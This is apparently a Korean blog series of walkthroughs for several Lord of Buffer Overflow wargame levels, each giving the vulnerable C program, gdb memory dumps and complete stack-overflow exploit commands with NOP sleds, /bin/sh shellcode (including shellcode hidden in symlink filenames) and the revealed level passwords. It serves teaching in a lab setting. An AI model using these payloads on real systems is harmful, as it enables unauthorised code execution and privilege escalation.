argv[1][46]은 \xff가 아니어야한다. retn 주소로 쓰이는 부분인데 지금까진 늘 retn 주소가 0xbfff~ 형식이었다. 이를 벗어나기 위해선 매우 큰 인자를 argv[1]에 전달하면 된다.

vampire을 복사해서 복사한 파일을 대상으로 gdb를 실행한다.

0x80484af <main+127>:	push   %edx
0x80484b0 <main+128>:	lea    %eax,[%ebp-40]
0x80484b3 <main+131>:	push   %eax
0x80484b4 <main+132>:	call   0x8048370 <strcpy>

strcpy의 인자로 ebp-40이 들어가는걸 보니 buffer 주소다.

40bytes(buffer)+4bytes(sfp)를 A로 채울 것이다. 그리고 retn주소는 임의로 0xbfbfbfbf로 설정하고 \x90을 100000개 전달하였다. 스택은 인자의 길이에 따라 유동적으로 변하기에 긴 문자열을 전달하여 0xbfff를 벗어날 수 있다. strcpy를 수행하고나서 스택의 주소를 파악하였다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/troll/VAMPIRE `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048436 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/200x $ebp
0xbffe7428:	0x41414141	0xbfbfbfbf	0x90909090	0x90909090
0xbffe7438:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7448:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7458:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7468:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7478:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7488:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7498:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74a8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74b8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74c8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74d8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74e8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe74f8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7508:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7518:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7528:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffe7538:	0x90909090	0x90909090	0x90909090	0x90909090

100000개의 \x90 밑에 쉘 코드가 있을 것이다. retn 주소를 0xbffe74f8로 정하였다.

[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xf8\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA񾿐1󿿐h//shh/bin⏓󿲒°
                                                            ̀ 
bash$ my-pass
euid = 509
music world

vampire 실행파일을 대상으로 실행하니 vampire 비밀번호가 나온다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
728x90

orge / timewalker

/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

argc=2이어야하기에 이번엔 argv[2]를 사용할 수 없다.

argv[1]을 이용해 buffer에 복사되는 40 bytes를 이용하고 싶어도 buffer를 후에 0으로 초기화하기 때문에 buffer에 쉘 코드를 저장해서 쉘 코드 주소로 retn 하려는 전략은 통하지가 않는다. 따라서 argv[0]을 이용해야한다.

argv[0]은 실행 파일명인데 앞 문제에서 사용한 심볼릭 링크를 사용해야한다. 대신 \x90과 쉘 코드로 구성된 파일명으로 심볼릭 링크를 사용한다.

우선 troll 실행파일을 TROLL로 복사하고 tmp 폴더를 하나 만들어서 tmp 디렉토리 내에서 TROLL 실행파일에 대한 심볼릭 링크를 만들었다.

[orge@localhost tmp]$ ln -s /home/orge/TROLL `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost tmp]$ ls -l
total 0
lrwxrwxrwx    1 orge     orge           16 Jan 23 17:07 ????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵󪀨쀿ÿ2i00tii0cjo?㐔?࿱?̿ -> /home/orge/TROLL

심볼릭 링크 파일을 대상으로 gdb를 실행했고 buffer 주소가 ebp-40임을 알았다. 40 bytes(buffer)+ 4 bytes(sfp)를 "A"로 저장하고 이어서 retn 주소는 0xbfbfbfbf로 설정해서 argv[1] 인자로 전달했다.

[orge@localhost tmp]$ gdb `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
(생략)
0x80485e6 <main+230>:	mov    %edx,DWORD PTR [%eax]
0x80485e8 <main+232>:	push   %edx
0x80485e9 <main+233>:	lea    %eax,[%ebp-40]
0x80485ec <main+236>:	push   %eax
0x80485ed <main+237>:	call   0x8048440 <strcpy>
0x80485f2 <main+242>:	add    %esp,8
(생략)
0x804863e <main+318>:	ret    
0x804863f <main+319>:	nop    
End of assembler dump.
(gdb) b *main+237
Breakpoint 2 at 0x80485ed
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/orge/tmp/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                            ΁ `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) c     
Continuing.

Breakpoint 2, 0x80485ed in main ()
(gdb) ni
0x80485f2 in main ()
(gdb) x/200x $ebp
0xbffff9b8:	0x41414141	0xbfbfbfbf	0x00000000	0xbffffa04
0xbffff9c8:	0xbffffa10	0x40013868	0x00000002	0x08048450
(생략)
0xbffffae8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffaf8:	0x00000000	0x69000000	0x00363836	0x6d6f682f
0xbffffb08:	0x726f2f65	0x742f6567	0x902f706d	0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffb18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb28:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb38:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb48:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb58:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb68:	0x90909090	0x90909090	0x90909090	0xeb909090
0xbffffb78:	0xc9315e11	0x6c8032b1	0x8001ff0e	0xf67501e9
0xbffffb88:	0xeae805eb	0x32ffffff	0x306951c1	0x69697430
0xbffffb98:	0x6f6a6330	0x5451e48a	0xb19ae28a	0x0081ce0c
0xbffffba8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbb8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0xbfbfbfbf
0xbffffbd8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffbe8:	0x00000000	0x00000000	0x00000000	0x00000000

0xbffffb28을 retn 주소로 설정해서 심볼릭 링크 파일을 실행해본다.

[orge@localhost tmp]$ /home/orge/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x28\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(
Segmentation fault (core dumped)
[orge@localhost tmp]$ ls     
core
????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵󪀨쀿ÿ2i00tii0cjo?㐔?࿱?̿​

core dumped가 발생했고 gdb로 core를 들여다본다.

[orge@localhost tmp]$ gdb -c core -q
Core was generated by `/home/orge/tmp/'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffff5e in ?? ()
(gdb) x/200x $esp
0xbffff8fc:	0x2f656d6f	0x00000000	0xbffff944	0xbffff950
0xbffff90c:	0x40013868	0x00000002	0x08048450	0x00000000
(생략)
0xbffffa0c:	0x00000010	0x0f8bfbff	0x0000000f	0xbffffa47
0xbffffa1c:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffa2c:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffa3c:	0x00000000	0x00000000	0x69000000	0x00363836
0xbffffa4c:	0x6d6f682f	0x726f2f65	0x742f6567	0x902f706d
---Type <return> to continue, or q <return> to quit---
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0xeb909090	0xc9315e11	0x6c8032b1	0x8001ff0e
0xbffffacc:	0xf67501e9	0xeae805eb	0x32ffffff	0x306951c1
0xbffffadc:	0x69697430	0x6f6a6330	0x5451e48a	0xb19ae28a
0xbffffaec:	0x0081ce0c	0x00000080	0x00000000	0x00000000
0xbffffafc:	0x00000000	0x00000000	0x00000000	0x00000000

0x90의 주소가 바뀌어있다. 0xbffffa6c로 retn 주소를 변경한다.

/home/orge로 돌아와서 심볼릭 링크를 동일하게 만든다음 retn 주소는 0xbffffa6c로 설정하여 실행한다.

[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ /home/orge/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl
bash$ my-pass
euid = 508
aspirin
bash$ exit

비밀번호는 aspirin이다.

참고로 core dumped가 발생해서 core 파일이 생성되어야 문제를 풀 수 있다. 그런데 원본 troll 실행파일을 대상으로 실행하면 아무리해도 core dumped 파일이 생성되지 않는다. 반드시 troll 실행파일의 복사본에 먼저 테스트해야 core dumped가 발생한다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
728x90

darkelf / kernel crashed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

darkelf 문제에서 argv[0]의 길이가 77이 되어야 하는 조건이 추가되었다.

실행파일을 실행할 때 argv[0]은 실행하는 명령어의 첫 번째 문자열이다.

ex) ./orge hello world의 경우 argv[0]은 ./orge

/home/darkelf/orge hello world의 경우 argv[0]은 /home/darkelf/orge

심볼릭 링크를 orge에 걸어서 심볼릭 링크 파일을 실행하면 argv[0]도 길이를 77로 만들 수 있다.

절대 경로로 실행파일을 실행하기 위해 77에서 /home/darkelf/ 의 길이 14를 뺀 63의 길이를 가지는 심볼릭 링크 파일을 만들었다. 심볼릭 링크 생성 명령어 형식은 ln -s 원본파일 심볼릭링크파일이다.

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  orge  orge.c

gdb를 실행해야 하기에 orge를 복사한 실행파일을 만들어 해당 실행 파일에 BBBBB....BB라는 심볼릭 링크 파일을 생성하였다. 위의 명령어 이용하면 된다.

0x804860e <main+270>:	push   %edx
0x804860f <main+271>:	lea    %eax,[%ebp-40]
0x8048612 <main+274>:	push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048613 <main+275>:	call   0x8048440 <strcpy>

buffer가 strcpy의 인자로 전달되기에 ebp-40이 buffer의 주소인 것을 알았다. argv[1]은 strcpy를 통해 buffer에 복사되기에 argv[1]의 값을 이용하여 retn 주소까지 덮어쓴다. 총 48 bytes가 되어 조건을 만족한다.

40 bytes(buffer)+4 bytes(sfp)+4 bytes(임의의 \x90의 주소)

이어서 argv[2]의 값을 다음과 같이 전달하여 여러 개의 \x90과 쉘 코드를 저장한다.

"\x90"*200+"쉘 코드"

argv[1]의 retn 주소를 설정하기 위해 gdb로 실행 후 실제 전달할 인자와 같은 길이의 문자를 대입해 본다.

(gdb) r `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "A"*44+"\xff\xff\xff\xbf"'` `python -c 'print "\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048613 in main ()
(gdb) ni
0x8048618 in main ()

(gdb) x/200x $ebp
0xbffff978:	0x41414141	0xbfffffff	0x00000000	0xbffff9c4
0xbffff988:	0xbffff9d4	0x40013868	0x00000003	0x08048450
0xbffff998:	0x00000000	0x08048471	0x08048500	0x00000003
(생략)
0xbffffb18:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb28:	0x41414141	0x41414141	0x41414141	0xff414141
0xbffffb38:	0x00bfffff	0x90909090	0x90909090	0x90909090
0xbffffb48:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb58:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb68:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb78:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb88:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb98:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x42424242
0xbffffc08:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffc18:	0x42424242	0x00000042	0x00000000	0x00000000

\x90 주소 중 0xbffffb88을 이용하겠다.

[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\x88\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
bash$ my-pass
euid = 507
timewalker

argv의 인자로 `python ~~` 명령을 이용하는데 문법이 궁금하다면 내 티스토리의 ftz level11 글을 참고하길 바란다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
728x90

wolfman / love eyuna

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

wolfman 문제 조건에서 argv[1]의 길이가 48 이하인 조건이 추가되었다.

그래서 argv[2]를 사용한다.

darkelf 실행파일을 복사해서 gdb 돌린다.

0x80485e8 <main+232>:	push   %edx
0x80485e9 <main+233>:	lea    %eax,[%ebp-40]  //buffer의 주소 ebp-40
0x80485ec <main+236>:	push   %eax
0x80485ed <main+237>:	call   0x8048440 <strcpy>
0x80485f2 <main+242>:	add    %esp,8

ebp-40에 buffer가 있다. 늘 해왔던 대로 argv[1]을 이용해서 40 bytes(buffer)+4 bytes(sfp)를 "A"로 덮어쓰고 4 bytes(retn 주소)를 argv[2]에 전달하는 \x90들 중 하나의 주소로 설정한다. 그럼 총 48 bytes가 되어 조건을 만족한다.

이어서 argv[2]를 이용해 여러개의 \x90+쉘 코드를 입력하면 문제가 풀릴 것이다. retn 주소를 설정하기 위해 gdb를 실행해서 실제로 전달한 인자와 같은 길이의 인자를 전달하여 주소를 파악한다.

(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485ed in main ()
(gdb) ni

(gdb) x/150x $ebp
0xbffff9e8:	0x41414141	0xbf414141	0x00000000	0xbffffa34
0xbffff9f8:	0xbffffa44	0x40013868	0x00000003	0x08048450
0xbffffa08:	0x00000000	0x08048471	0x08048500	0x00000003
0xbffffa18:	0xbffffa34	0x08048390	0x0804864c	0x4000ae60
0xbffffa28:	0xbffffa2c	0x40013e90	0x00000003	0xbffffb2b
0xbffffa38:	0xbffffb42	0xbffffb73	0x00000000	0xbffffc55
0xbffffa48:	0xbffffc67	0xbffffc7f	0xbffffc9e	0xbffffcc0
0xbffffa58:	0xbffffccd	0xbffffe90	0xbffffeaf	0xbffffecc
0xbffffa68:	0xbffffee1	0xbfffff00	0xbfffff0b	0xbfffff24
0xbffffa78:	0xbfffff34	0xbfffff3c	0xbfffff4d	0xbfffff57
0xbffffa88:	0xbfffff65	0xbfffff76	0xbfffff84	0xbfffff8f
0xbffffa98:	0xbfffffa2	0x00000000	0x00000003	0x08048034
0xbffffaa8:	0x00000004	0x00000020	0x00000005	0x00000006
0xbffffab8:	0x00000006	0x00001000	0x00000007	0x40000000
0xbffffac8:	0x00000008	0x00000000	0x00000009	0x08048450
0xbffffad8:	0x0000000b	0x000001f9	0x0000000c	0x000001f9
0xbffffae8:	0x0000000d	0x000001f9	0x0000000e	0x000001f9
0xbffffaf8:	0x00000010	0x0f8bfbff	0x0000000f	0xbffffb26
0xbffffb08:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffb18:	0x00000000	0x00000000	0x00000000	0x36690000
0xbffffb28:	0x2f003638	0x656d6f68	0x6c6f772f	0x6e616d66
0xbffffb38:	0x7261642f	0x666c656b	0x41410032	0x41414141
0xbffffb48:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb58:	0x41414141	0x41414141	0x41414141	0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffb68:	0x41414141	0x41414141	0x9000bf41	0x90909090
0xbffffb78:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb88:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffb98:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc38:	0x42909090	0x42424242

실제 쉘 코드가 위치해야할 주소에 "B"를 대입했다. 0xbffffc3b부터 등장하는 것을 볼 수 있다.

retn 주소 \x90들 주소 중 하나인 0xbffffbc8로 설정한다.

[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "A"*44+"\xc8\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɻÿ¿
bash$ my-pass
euid = 506
kernel crashed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
728x90

orc / cantata

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

egghunter와 buffer hunter가 있다. 각각 환경 변수와 buffer를 0으로 덮어 씌워서 사용 못하게 하는 것이다.

바로 전에 푼 orc 문제와 같은 방식으로 풀면 될 거 같다.

0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>

gdb를 실행하려면 wolfman 실행파일 복사본에 대하여 실행해야 한다. wolfman 실행파일의 소유자와 소유그룹이 wolfman이라 gdb 실행이 안 된다.

strcpy 함수의 인자로 쓰이는 걸로 보아 buffer 주소가 ebp-40임을 알 수 있다.

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 4 bytes(retn)을 스택 아래 내가 전달하는 '\x90'들 중 하나의 주소로 설정한다. 이어서 여러 개의 '\x90'과 쉘 코드를 인자로 전달하면 된다. 그럼 NOP Sled 기법으로 쉘 코드가 실행될 것이다.

참고로 실제로 내가 wolfman에 전달한 인자와 거의 같은 길이의 문자열을 전달해야한다. 안 그럼 스택의 주소값들이 바뀐다. ('\x90'을 190개 전달하니 주소값 바뀜. 199개는 동일)

(gdb) r `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`
Starting program: /home/orc/wolfman2 `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/70x $ebp-44
0xbffff9dc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa0c:	0xbffffac7	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffacc:	0x90909090	0x90909090	0x90909090	0x42424242
0xbffffadc:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffaec:	0x42424242	0x08040042

쉘 코드 대신 "B"*25를 입력하여 주소를 파악했다. 0x4242...가 저장된 부분이 쉘 코드가 저장될 부분이다. 그리고 '\x90' 주소들 중 0xbffffa6c로 retn 주소를 덮어쓸 것이다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 505
love eyuna
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

darkelf -> orge  (0) 2023.01.21
wolfman -> darkelf  (0) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
728x90

goblin / hackers proof

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

environ이란 변수가 등장한다. environment가 환경을 의미하는 단어다. 아래엔 memset으로 environ배열을 0으로 초기화한다. 즉, 환경 변수를 쓸 수 없다. 또 하나의 조건은 argv[1]의 48번째 문자가 '\xbf'이어야 한다.

